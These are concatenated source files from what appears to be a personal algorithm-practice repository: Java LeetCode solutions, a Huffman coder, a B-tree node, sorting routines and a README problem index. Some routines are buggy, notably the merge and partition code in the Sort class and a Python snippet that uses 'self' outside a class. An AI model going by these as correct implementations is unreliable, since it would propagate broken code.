(Character key : keys) { Node node = new Node(); Data data = new Data(); data.setC(key); data.setFrequency(ci.get(key)); node.setData(data); letterList.add(node); } return letterList; } protected abstract Node createTree(ArrayList<Node> letterList); /** * 编码字符串。 * * @param letterCode 字符/编码对集合。 * @param letters 指定的需要编码的字符串。 * @return 编码结果 */ private EncodeResult encode(Map<Character, String> letterCode, String letters) { StringBuilder encode = new StringBuilder(); for (int i = 0, length = letters.length(); i < length; i++) { Character character = letters.charAt(i); encode.append(letterCode.get(character)); } EncodeResult result = new EncodeResult(encode.toString(), letterCode); return result; } /** * 获得所有字符编码对 * * @param * @return 所有字符编码对 */ private Map<Character, String> getLetterCode(Node rootNode) { Map<Character, String> letterCode = new HashMap<>(); // 处理只有一个节点的情况 if (rootNode.getLeftChild() == null && rootNode.getRightChild() == null) { letterCode.put(rootNode.getData().getC(), "1"); return letterCode; } getLetterCode(rootNode, "", letterCode); return letterCode; } /** * 先序遍历哈夫曼树,获得所有字符编码对。 * * @param rooNode 哈夫曼树根结点 * @param suffix 编码前缀,也就是编码这个字符时,之前路径上的所有编码 * @param letterCode 用于保存字符编码结果 */ private void getLetterCode(Node rooNode, String suffix, Map<Character, String> letterCode) { if (rooNode != null) { if (rooNode.getLeftChild() == null && rooNode.getRightChild() == null) { Character character = rooNode.getData().getC(); letterCode.put(character, suffix); } getLetterCode(rooNode.getLeftChild(), suffix + "0", letterCode); getLetterCode(rooNode.getRightChild(), suffix + "1", letterCode); } } public String decode(EncodeResult decodeResult) { StringBuilder decodeStr = new StringBuilder(); Map<String, Character> decodeMap = getDecoder(decodeResult .getLetterCode()); Set<String> keys = decodeMap.keySet(); String encode = decodeResult.getEncode(); String temp = ""; int i = 1; while (encode.length() > 0) { temp = encode.substring(0, i); if (keys.contains(temp)) { Character character = decodeMap.get(temp); decodeStr.append(character); encode = encode.substring(i); i = 1; } else { i++; } } return decodeStr.toString(); } /** * 获得解码器,也就是通过字母/编码对得到编码/字符对。 * * @param letterCode * @return */ private Map<String, Character> getDecoder(Map<Character, String> letterCode) { Map<String, Character> decodeMap = new HashMap<>(); Set<Character> keys = letterCode.keySet(); for (Character key : keys) { String value = letterCode.get(key); decodeMap.put(value, key); } return decodeMap; } } public class HuffmanAlgorithmImpl extends HuffmanAlgorithmAbstract { @Override protected Node createTree(ArrayList<Node> letterList) { init(letterList); while (letterList.size() != 1) { int size = letterList.size(); Node nodeLeft = letterList.get(size - 1); Node nodeRight = letterList.get(size - 2); Node nodeParent = new Node(); nodeParent.setLeftChild(nodeLeft); nodeParent.setRightChild(nodeRight); Data data = new Data(); data.setFrequency(nodeRight.getData().getFrequency() + nodeLeft.getData().getFrequency()); nodeParent.setData(data); letterList.set(size - 2, nodeParent); letterList.remove(size - 1); sort(letterList); } return letterList.get(0); } /** * 初始化 让节点列表有序 */ private void init(ArrayList<Node> letterList) { sort(letterList); } } } <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; import com.binea.www.leetcodepractice.algorithm.ListNode; /** * Created by binea on 19/9/2017. */ public class LinkedListCycle { /** * Given a linked list, determine if it has a cycle in it. * <p> * Follow up: * Can you solve it without using extra space? * * @param head * @return */ public boolean hasCycle(ListNode head) { if (head == null || head.next == null) { return false; } ListNode slowNode = head; ListNode fastNode = head.next; while (slowNode != fastNode) { if (fastNode == null || fastNode.next == null) { return false; } slowNode = slowNode.next; fastNode = fastNode.next.next; } return true; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 6/21/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class MaxProfit { /** * Say you have an array for which the ith element is the price of a given stock on day i. * * Design an algorithm to find the maximum profit. You may complete at most two transactions. */ public int maxProfit6ms(int[] prices) { int hold1 = Integer.MIN_VALUE, hold2 = Integer.MIN_VALUE; int release1 = 0, release2 = 0; for (int i : prices) { // Assume we only have 0 money at first release2 = Math.max(release2, hold2 + i); // The maximum if we've just sold 2nd stock so far. hold2 = Math.max(hold2, release1 - i); // The maximum if we've just buy 2nd stock so far. release1 = Math.max(release1, hold1 + i); // The maximum if we've just sold 1nd stock so far. hold1 = Math.max(hold1, -i); // The maximum if we've just buy 1st stock so far. } return release2; ///Since release1 is initiated as 0, so release2 will always higher than release1. } public int maxProfit4ms(int[] prices) { // these four variables represent your profit after executing corresponding transaction // in the beginning, your profit is 0. // when you buy a stock ,the profit will be deducted of the price of stock. int firstBuy = Integer.MIN_VALUE, firstSell = 0; int secondBuy = Integer.MIN_VALUE, secondSell = 0; for (int curPrice : prices) { if (firstBuy < -curPrice) { firstBuy = -curPrice; // the max profit after you buy first stock } if (firstSell < firstBuy + curPrice) { firstSell = firstBuy + curPrice; // the max profit after you sell it } if (secondBuy < firstSell - curPrice) { secondBuy = firstSell - curPrice; // the max profit after you buy the second stock } if (secondSell < secondBuy + curPrice) { secondSell = secondBuy + curPrice; // the max profit after you sell the second stock } } return secondSell; // secondSell will be the max profit after passing the prices } } <file_sep>package com.example.sort; /** * Created by binea on 2016/11/15. */ public class Sort { /** * stable * bubble sort */ public void bubbleSort(long[] array) { if (array == null) { return; } for (int i = 0; i < array.length; i++) { for (int j = i + 1; j < array.length; j++) { if (array[i] > array[j]) { swap1(array, i, j); } } } } /** * not stable */ public void selectSort(long[] array) { assert array != null; for (int i = 0; i < array.length; i++) { int k = i; for (int j = i + 1; j < array.length; j++) { if (array[k] > array[j]) { k = j; } } swap1(array, i, k); } } public void insertSort(long[] array) { assert array != null; for (int i = 1; i < array.length; i++) { long tmp = array[i]; int k = i; for (int j = i - 1; j >= 0; j--) { if (tmp < array[j]) { array[j++] = array[j]; k--; } else { break; } } array[k] = tmp; } } public void quickSort(long[] array, int start, int end) { if (start > end) { return; } int part = partial(array, start, end); quickSort(array, start, part - 1); quickSort(array, part + 1, end); } public int partial(long[] array, int start, int end) { int mid = start + (end - start) >> 2; if (array[start] > array[mid]) { swap1(array, start, mid); } if (array[end] < array[mid]) { swap1(array, end, mid); } long key = array[start]; int lo = start, hi = end; while (lo < hi) { while (array[lo++] < key && lo <= hi) { ; } while (array[hi--] > key && lo <= hi) { ; } swap1(array, lo, hi); } array[hi] = key; return hi; } public void mergeSort(long[] array, int start, int end) { int mid = (end + start) / 2; if (start < end) { mergeSort(array, start, mid); mergeSort(array, mid + 1, end); merge(array, start, mid, end); } } public void merge(long[] array, int start, int mid, int end) { long[] tmp = new long[end - start + 1]; int i = start; int j = mid + 1; int k = 0; while (i <= mid && mid <= j) { if (array[i] < array[j]) { tmp[k++] = tmp[i++]; } else { tmp[k++] = tmp[j++]; } } while (i < mid) { tmp[k++] = tmp[i++]; } while (j < end) { tmp[k++] = tmp[j++]; } for (int m = 0; m < tmp.length; m++) { array[m + start] = tmp[m]; } } public void heapSort(long[] array) { if (array == null || array.length <= 1) { return; } buildMaxHeap(array); for (int i = array.length - 1; i >= 1; i--) { swap1(array, 0, i); maxHeap(array, i, 0); } } private void maxHeap(long[] array, int heapSize, int index) { int left = index * 2 + 1; int right = index * 2 + 2; int largest = index; if (left < heapSize && array[left] > array[index]) { largest = left; } if (right < heapSize && array[right] > array[largest]) { largest = right; } if (index != largest) { swap1(array, index, largest); maxHeap(array, heapSize, largest); } } private void buildMaxHeap(long[] array) { if (array == null || array.length <= 1) { return; } int half = array.length / 2; for (int i = half; i >= 0; i--) { maxHeap(array, array.length, i); } } public void swap1(long[] array, int i, int j) { array[i] = array[i] ^ array[j]; array[j] = array[j] ^ array[i]; array[i] = array[i] ^ array[j]; } public void swap2(int a, int b) { if (a == b) { return; } a = a + b - (a = b); } } <file_sep>package com.example.stack_queue; import java.util.LinkedList; /** * Created by binea on 2016/11/9. */ public class AnimalQueue { public abstract class Animal { private int order; protected String name; public Animal(String n) { name = n; } public void setOrder(int ord) { order = ord; } public int getOrder() { return order; } public boolean isOlderThan(Animal a) { return this.order > a.getOrder(); } } public class Dog extends Animal { public Dog(String n) { super(n); } } public class Cat extends Animal { public Cat(String n) { super(n); } } LinkedList<Dog> dogQueue = new LinkedList<>(); LinkedList<Cat> catQueue = new LinkedList<>(); public void enqueue(Animal animal) { animal.setOrder((int) System.currentTimeMillis()); if (animal instanceof Dog) { dogQueue.push((Dog) animal); } else { catQueue.push((Cat) animal); } } public Animal dequeueAny() { Dog dog = dogQueue.peek(); Cat cat = catQueue.peek(); if(dog.isOlderThan(cat)) { return dequeueDog(); } return dequeueCat(); } public Animal dequeueDog() { return dogQueue.poll(); } public Animal dequeueCat() { return catQueue.poll(); } } <file_sep>package com.example.btree; import java.util.ArrayList; import java.util.Comparator; import java.util.List; /** * Created by binea on 2016/10/28. */ public class BTreeNode<K, V> { /** 节点的项,按键非降序存放 */ private List<Entry<K,V>> entrys; /** 内节点的子节点 */ private List<BTreeNode<K, V>> children; /** 是否为叶子节点 */ private boolean leaf; /** 键的比较函数对象 */ private Comparator<K> kComparator; public BTreeNode() { entrys = new ArrayList<Entry<K, V>>(); children = new ArrayList<BTreeNode<K, V>>(); leaf = false; } public BTreeNode(Comparator<K> kComparator) { this(); this.kComparator = kComparator; } public boolean isLeaf() { return leaf; } public void setLeaf(boolean leaf) { this.leaf = leaf; } /** * 返回项的个数。如果是非叶子节点,根据B树的定义, * 该节点的子节点个数为({@link #size()} + 1)。 * * @return 关键字的个数 */ public int size() { return entrys.size(); } @SuppressWarnings("unchecked") int compare(K key1, K key2) { return kComparator == null ? ((Comparable<K>)key1).compareTo(key2) : kComparator.compare(key1, key2); } /** * 在节点中查找给定的键。 * 如果节点中存在给定的键,则返回一个<code>SearchResult</code>, * 标识此次查找成功,给定的键在节点中的索引和给定的键关联的值; * 如果不存在,则返回<code>SearchResult</code>, * 标识此次查找失败,给定的键应该插入的位置,该键的关联值为null。 * <p/> * 如果查找失败,返回结果中的索引域为[0, {@link #size()}]; * 如果查找成功,返回结果中的索引域为[0, {@link #size()} - 1] * <p/> * 这是一个二分查找算法,可以保证时间复杂度为O(log(t))。 * * @param key - 给定的键值 * @return - 查找结果 */ public SearchResult<V> searchKey(K key) { int low = 0; int high = entrys.size() - 1; int mid = 0; while(low <= high) { mid = (low + high) / 2; // 先这么写吧,BTree实现中,l+h不可能溢出 Entry<K, V> entry = entrys.get(mid); if(compare(entry.getKey(), key) == 0) // entrys.get(mid).getKey() == key break; else if(compare(entry.getKey(), key) > 0) // entrys.get(mid).getKey() > key high = mid - 1; else // entry.get(mid).getKey() < key low = mid + 1; } boolean result = false; int index = 0; V value = null; if(low <= high) // 说明查找成功 { result = true; index = mid; // index表示元素所在的位置 value = entrys.get(index).getValue(); } else { result = false; index = low; // index表示元素应该插入的位置 } return new SearchResult<V>(result, index, value); } /** * 将给定的项追加到节点的末尾, * 你需要自己确保调用该方法之后,节点中的项还是 * 按照关键字以非降序存放。 * * @param entry - 给定的项 */ public void addEntry(Entry<K, V> entry) { entrys.add(entry); } /** * 删除给定索引的<code>entry</code>。 * <p/> * 你需要自己保证给定的索引是合法的。 * * @param index - 给定的索引 * @param 给定索引处的项 */ public Entry<K, V> removeEntry(int index) { return entrys.remove(index); } /** * 得到节点中给定索引的项。 * <p/> * 你需要自己保证给定的索引是合法的。 * * @param index - 给定的索引 * @return 节点中给定索引的项 */ public Entry<K, V> entryAt(int index) { return entrys.get(index); } /** * 如果节点中存在给定的键,则更新其关联的值。 * 否则插入。 * * @param entry - 给定的项 * @return null,如果节点之前不存在给定的键,否则返回给定键之前关联的值 */ public V putEntry(Entry<K, V> entry) { SearchResult<V> result = searchKey(entry.getKey()); if(result.isExist()) { V oldValue = entrys.get(result.getIndex()).getValue(); entrys.get(result.getIndex()).setValue(entry.getValue()); return oldValue; } else { insertEntry(entry, result.getIndex()); return null; } } /** * 在该节点中插入给定的项, * 该方法保证插入之后,其键值还是以非降序存放。 * <p/> * 不过该方法的时间复杂度为O(t)。 * <p/> * <b>注意:</b>B树中不允许键值重复。 * * @param entry - 给定的键值 * @return true,如果插入成功,false,如果插入失败 */ public boolean insertEntry(Entry<K, V> entry) { SearchResult<V> result = searchKey(entry.getKey()); if(result.isExist()) return false; else { insertEntry(entry, result.getIndex()); return true; } } /** * 在该节点中给定索引的位置插入给定的项, * 你需要自己保证项插入了正确的位置。 * * @param key - 给定的键值 * @param index - 给定的索引 */ public void insertEntry(Entry<K, V> entry, int index) { /* * 通过新建一个ArrayList来实现插入真的很恶心,先这样吧 * 要是有类似C中的reallocate就好了。 */ List<Entry<K, V>> newEntrys = new ArrayList<Entry<K, V>>(); int i = 0; // index = 0或者index = keys.size()都没有问题 for(; i < index; ++ i) newEntrys.add(entrys.get(i)); newEntrys.add(entry); for(; i < entrys.size(); ++ i) newEntrys.add(entrys.get(i)); entrys.clear(); entrys = newEntrys; } /** * 返回节点中给定索引的子节点。 * <p/> * 你需要自己保证给定的索引是合法的。 * * @param index - 给定的索引 * @return 给定索引对应的子节点 */ public BTreeNode<K, V> childAt(int index) { if(isLeaf()) throw new UnsupportedOperationException("Leaf node doesn't have children."); return children.get(index); } /** * 将给定的子节点追加到该节点的末尾。 * * @param child - 给定的子节点 */ public void addChild(BTreeNode<K, V> child) { children.add(child); } /** * 删除该节点中给定索引位置的子节点。 * </p> * 你需要自己保证给定的索引是合法的。 * * @param index - 给定的索引 */ public void removeChild(int index) { children.remove(index); } /** * 将给定的子节点插入到该节点中给定索引 * 的位置。 * * @param child - 给定的子节点 * @param index - 子节点带插入的位置 */ public void insertChild(BTreeNode<K, V> child, int index) { List<BTreeNode<K, V>> newChildren = new ArrayList<BTreeNode<K, V>>(); int i = 0; for(; i < index; ++ i) newChildren.add(children.get(i)); newChildren.add(child); for(; i < children.size(); ++ i) newChildren.add(children.get(i)); children = newChildren; } } <file_sep>include ':app', ':LeetCode', ':introduction2algorithm', ':algorithmred4', ':interview' <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; import java.util.ArrayList; import java.util.List; /** * Created by binea on 17/9/2017. */ public class PascalsTriangleII { /** * Given an index k, return the kth row of the Pascal's triangle. * <p> * For example, given k = 3, * Return [1,3,3,1]. * <p> * Note: * Could you optimize your algorithm to use only O(k) extra space? * * @param rowIndex * @return */ public List<Integer> getRow(int rowIndex) { rowIndex++; List<List<Integer>> result = new ArrayList<>(); List<Integer> rowResult = new ArrayList<>(); for (int i = 0; i < rowIndex; i++) { rowResult.add(0, 1); for (int j = 1; j < rowResult.size() - 1; j++) { rowResult.set(j, rowResult.get(j) + rowResult.get(j + 1)); } result.add(new ArrayList<>(rowResult)); } return result.get(rowIndex - 1); } public List<Integer> getRowOk(int rowIndex) { //C(n, k+1) = C(n, k) * (n - k) / (k + 1) List<Integer> nthRow = new ArrayList<>(); if (rowIndex < 0) return nthRow; long prev = 1; nthRow.add((int) prev); for (int k = 0; k < rowIndex; k++) { prev = (prev * (rowIndex - k)) / (k + 1); nthRow.add((int) prev); } return nthRow; } } <file_sep>def isSameTree(p, q): return p and q and p.val == q.val and all(map(self.isSameTree, (p.left, q.left), (p.right, q.right))) or p is q<file_sep>## Algorithm-Practice My Althorithm Practice ### LeetCode |#|Title|Solution|Difficulty| | --- |---|---|---| |1|[Two Sum](https://oj.leetcode.com/problems/two-sum/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/TwoSum.java)|Medium| |2|[Add Two Numbers](https://leetcode.com/problems/add-two-numbers/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/AddTwoNumbers.java)|Medium| |3|[Longest Substring Without Repeating Characters](https://leetcode.com/problems/longest-substring-without-repeating-characters/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LongestSubString.java)|Medium| |4|[Balanced Binary Tree](https://leetcode.com/problems/balanced-binary-tree/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BalancedBinaryTree.java)|Easy| |5|[TopKFrequent](https://leetcode.com/problems/top-k-frequent-elements/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/TopKFrequent.java)|Medium| |6|[Best-time-to-buy-and-sell-stock-ii](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BestTimeToBuyAndSellStockII.java)|Medium| |7|[**count-and-say**](https://leetcode.com/problems/count-and-say/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CountAndSay.java)|Medium| |8|[**copy randomlist**](https://leetcode.com/problems/copy-list-with-random-pointer/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CopyRandomList.java)|Hard| |9|[Construct Binary Tree from Preorder and Inorder Traversal](https://leetcode.com/problems/construct-binary-tree-from-preorder-and-inorder-traversal/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BinaryTree.java) [ref](http://articles.leetcode.com/construct-binary-tree-from-inorder-and-preorder-postorder-traversal)|Medium| |10|[Reverse Nodes in k-Group](https://leetcode.com/problems/reverse-nodes-in-k-group/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ReverseKGroup.java)|Hard| |11|[First Missing Positive](https://leetcode.com/problems/first-missing-positive/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/FirstMissingPositive.java)|Hard| |12|[Reverse Integer](https://leetcode.com/problems/reverse-integer/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ReverseInteger.java)|Easy| |13|[Super Ugly Number](https://leetcode.com/problems/super-ugly-number/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SuperUglyNumber.java)|Medium| |14|[Minimum Size Subarray Sum](https://leetcode.com/problems/minimum-size-subarray-sum/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MinSubArrayLen.java)|Medium| |15|[Minium path sum](https://leetcode.com/problems/minimum-path-sum/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MinPathSum.java)|Medium| |16|[Merge Sorted Array](https://leetcode.com/problems/merge-sorted-array/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MergeSortedArray.java)|Easy| |17|[Count Complete Tree](https://leetcode.com/problems/count-complete-tree-nodes/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CountNodes.java)|Medium| |18|[ZigZag Conversion](https://leetcode.com/problems/zigzag-conversion/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ZigZagConversion.java)|Easy| |19|[Course Schedule II](https://leetcode.com/problems/course-schedule-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CourseScheduleII.java)|Medium| |20|[Phone Number Invalid](https://leetcode.com/problems/valid-phone-numbers/)|[Bash](./src/main/java/com/binea/www/leetcodepractice/algorithm/PhoneNumberInvalid.sh)|Easy| |21|[Set Matrix Zeros](https://leetcode.com/problems/set-matrix-zeroes/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MatrixZeros.java)|Medium| |22|[Reverse Words in a String](https://leetcode.com/problems/reverse-words-in-a-string/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ReverseWords.java)|Medium| |23|[Path Sum](https://leetcode.com/problems/path-sum/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PathSum.java)|Easy| |24|[BSTIterator](https://leetcode.com/problems/binary-search-tree-iterator/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BSTIterator.java)|Medium| |25|[Submission Details](https://leetcode.com/problems/duplicate-emails/)|[Sql](./src/main/java/com/binea/www/leetcodepractice/algorithm/DuplicateEmails.sql)|Easy| |26|[Prefix Tree](https://leetcode.com/problems/implement-trie-prefix-tree/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PrefixTree.java)|Medium| |27|[Missing Number](https://leetcode.com/problems/missing-number/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MissingNumber.java)|Medium| |28|[Happy Number](https://leetcode.com/problems/happy-number/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/HappyNumber.java)|Medium| |29|[Min Stack](https://leetcode.com/problems/min-stackWithNode/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MinStack.java)|Easy| |30|[Remove Duplicates from Sorted List](https://leetcode.com/problems/remove-duplicates-from-sorted-list/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/DeleteDuplicates.java)|Easy| |31|[Best Time to Buy And Sell Stock III](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BestTimeToBuyAndSellStockII.java)|Hard| |32|[Merge k Sorted Lists](https://leetcode.com/problems/merge-k-sorted-lists/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MergeKLists.java)|Hard| |33|[Longest Valid Parentheses](https://leetcode.com/problems/longest-valid-parentheses/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LongestValidParentheses.java)|Hard| |34|[Compare Version Numbers](https://leetcode.com/problems/compare-version-numbers/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CompareVersionNumbers.java)|Easy| |35|[Rotate List](https://leetcode.com/problems/rotate-list/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RotateList.java)|Medium| |36|[H-Index](https://leetcode.com/problems/h-index/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/HIndex.java)|Medium| |37|[Different Ways to Add Parentheses](https://leetcode.com/problems/different-ways-to-add-parentheses/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/DifferentWaysToAddParentheses.java)|Medium| |38|[Symmetric Tree](https://leetcode.com/problems/symmetric-tree/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SymmetricTree.java)|Easy| |39|[N-Queens II](https://leetcode.com/problems/symmetric-tree/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/N_Queens_II.java)|Hard| |40|[Add Binary](https://leetcode.com/problems/add-binary/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/AddBinary.java)|Easy| |41|[Number of 1 Bits](https://leetcode.com/problems/number-of-1-bits/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/HammingWeight.java)|Easy| |42|[Jump Game](https://leetcode.com/problems/jump-game/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/JumpGame.java)|Medium| |43|[Insertion Sort List](https://leetcode.com/problems/insertion-sort-list/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/InsertionSortList.java)|Medium| |44|[Super Pow](https://leetcode.com/submissions/detail/66477122/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SuperPow.java)|Medium| |45|[Bineary Tree Paths](https://leetcode.com/problems/binary-tree-paths/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BinaryTreePaths.java)|Easy| |46|[Binary Tree Level Order Traversal II](https://leetcode.com/problems/binary-tree-level-order-traversal-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LevelOrderBottom.java)|Easy| |47|[Recover Binary Search Tree](https://leetcode.com/problems/recover-binary-search-tree/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RecoverTree.java)|Hard| |48|[Contains Duplicate III](https://leetcode.com/problems/contains-duplicate-iii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ContainsDuplicateIII.java)|Medium| |49|[Minimum Depth of Binary Tree](https://leetcode.com/problems/minimum-depth-of-binary-tree/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MinDepth.java)|Easy| |50|[Water And Jug](https://leetcode.com/problems/water-and-jug-problem/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/WaterAndJugProblem.java)|Medium| |51|[Intersection of Two Arrays II](https://leetcode.com/problems/intersection-of-two-arrays-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/IntersectArray.java)|Easy| |52|[Merge Two Sorted Lists](https://leetcode.com/problems/merge-two-sorted-lists/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MergeTwoSortedLists.java)|Easy| |53|[Largest Rectangle in Histogram](https://leetcode.com/problems/largest-rectangle-in-histogram/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LargestRectangleArea.java)|Hard| |54|[Binary Tree Maximum Path Sum](https://leetcode.com/problems/binary-tree-maximum-path-sum/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MaxPathSum.java)|Hard| |55|[Delete Duplicate Emails](https://leetcode.com/submissions/detail/68218749/)|[sql](./src/main/java/com/binea/www/leetcodepractice/algorithm/DeleteDuplicateEmails.sql)|Easy| |56|[Game of Life](https://leetcode.com/problems/game-of-life/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/GameOfLife.java)|Medium| |57|[Power of Three](https://leetcode.com/problems/power-of-three/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PowerOfThree.java)|Easy| |58|[Permutations II](https://leetcode.com/problems/permutations-ii/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PermutationsII.java)|Medium| |59|[Rotate Image](https://leetcode.com/problems/rotate-image/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RotateImage.java)|Medium| |60|[Linked List Cycle II](https://leetcode.com/problems/linked-list-cycle-ii/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LinkedListCycleII.java)|Medium| |61|[Reverse Linked List II](https://leetcode.com/problems/reverse-linked-list-ii/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ReverseLinkedListII.java)|Medium| |62|[Clone Graph](https://leetcode.com/problems/clone-graph/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CloneGraph.java)|Medium| |63|[Summary Ranges](https://leetcode.com/problems/summary-ranges/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SummaryRanges.java)|Medium| |64|[Power Of Four](https://leetcode.com/problems/power-of-four/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PowerOfFour.java)|Easy| |65|[Excel Sheet Column Number](https://leetcode.com/problems/excel-sheet-column-number/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ExcelSheetColumnNumber.java)|Easy| |66|[Shuffle an Array](https://leetcode.com/problems/shuffle-an-array/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ShuffleAnArray.java)|Medium| |67|[3Sum](https://leetcode.com/problems/3sum/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ThreeSum.java)|Medium| |68|[Word Ladder](https://leetcode.com/problems/word-ladder/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/WordLadder.java)|Medium| |69|[Sliding Window Maximum](https://leetcode.com/problems/sliding-window-maximum/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SlidingWindowMaximum.java)|Hard| |70|[Evaluate Reverse Polish Notation](https://leetcode.com/problems/evaluate-reverse-polish-notation/)|[java](./src/main/java/com/binea/www/leetcodepractice/algorithm/EvalRPN.java)|Medium| |71|[Transpose File](https://leetcode.com/problems/transpose-file/)|[Bash](./src/main/java/com/binea/www/leetcodepractice/algorithm/TransposeFile.sh)|Medium| |72|[Reconstruct Itinerary](https://leetcode.com/problems/reconstruct-itinerary/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ReconstructItinerary.java)|Medium| |73|[Path Sum II](https://leetcode.com/problems/path-sum-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PathSumII.java)|Medium| |74|[Binary Tree Inorder Traversal](https://leetcode.com/problems/binary-tree-inorder-traversal/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BinaryTreeInorderTraversal.java)|Medium| |75|[Range Sum Query - Mutable](https://leetcode.com/problems/range-sum-query-mutable/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RangeSumQuery.java)|Medium| |76|[H-Index II](https://leetcode.com/problems/h-index-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/H_Index_II.java)|Medium| |77|[Decode Ways](https://leetcode.com/problems/decode-ways/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/NumDecodings.java)|Medium| |78|[Four Sum](https://leetcode.com/problems/4sum/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/FourSum.java)|Medium| |79|[Longest Increasing Subsequence](https://leetcode.com/problems/longest-increasing-subsequence/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LengthOfLIS.java)|Medium| |80|[Basic Calculator II](https://leetcode.com/problems/basic-calculator-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/BasicCalculatorII.java)|Medium| |81|[Kth Smallest Element in a BST](https://leetcode.com/problems/kth-smallest-element-in-a-bst/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/KthSmallest.java)|Medium| |82|[Increasing Triplet Subsequence](https://leetcode.com/problems/increasing-triplet-subsequence/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/IncreasingTriplet.java)|Medium| |83|[Valid Palindrome](https://leetcode.com/problems/valid-palindrome/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ValidPalindrome.java)|Easy| |84|[Word Search 